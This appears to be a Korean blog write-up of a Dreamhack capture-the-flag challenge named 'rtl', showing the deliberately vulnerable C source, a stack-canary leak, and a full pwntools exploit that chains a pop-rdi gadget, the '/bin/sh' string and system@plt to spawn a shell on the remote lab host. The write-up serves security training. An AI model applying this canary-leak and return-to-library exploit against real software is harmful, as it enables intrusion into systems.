반응형

문제 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}
  • 맨 처음 system 함수가 호출돼 plt에 추가된다.
  • read 함수로 buf에서 카나리 거리 +1만큼 입력을 넣어 카나리값을 출력할 수 있다.
  • 또한 read 함수로 buf에 0x30보다 큰 0x100 크기의 입력을 받을 수 있기 때문에 버퍼 오버플로우 공격이 가능하다.

 

 

Canary와 NX 보호 기법을 사용하고 있다.

 

main 함수를 어셈블러 코드로 출력하여 canary 위치, buf 변수 위치를 확인한다.

canary는 %rbp-0x8에 위치하며, buf 변수는 %rbp-0x40 위치에 할당된다. 따라서 0x39를 임의의 byte로 채우면 printf 함수에서 카나리를 확인할 수 있다.

 

 

그리고 한 번 더 buf에 데이터를 입력할 수 있었다. 현재 소스 코드에 "/bin/sh" 문자열과 system 함수가 존재하여 RTL 공격을 할 수 있다.

 따라서 ROPgadget을 사용해서 리턴 가젯을 찾는다.

 

 

from pwn import *

rop = b''
rop += p64(0x0000000000400853)

binsh = b''
binsh += p64(0x400874)

system = b''
system += p64(0x4005d0)

p = remote ('host3.dreamhack.games',9431)
#p = process('./rtl')

get_canary = b''
get_canary += b'A'*(0x38)

p.sendlineafter(b'Buf: ',get_canary)

p.recvuntil(b'\x0a')
canary = b'\x00'
canary += p.recv(7)

pay = b''
pay += b'\x90'*0x38
pay += canary
pay += b'\x90'*0x8
pay += p64(0x400596) #ret gadget for stack align
pay += rop
pay += binsh
pay += system

p.sendlineafter(b'Buf: ',pay)
p.interactive()

얻은 정보들로 익스프로잇 코드를 작성한다.

 

반응형

'Dreamhack > System Hacking' 카테고리의 다른 글

rop  (1) 2024.05.29
Exploit Tech: Return Oriented Programming  (0) 2024.05.29
Exploit Tech: Return to Library  (0) 2024.05.29
Background: Library - Static Link vs. Dynamic Link  (0) 2024.05.22
Mitigation: NX & ASLR  (0) 2024.05.22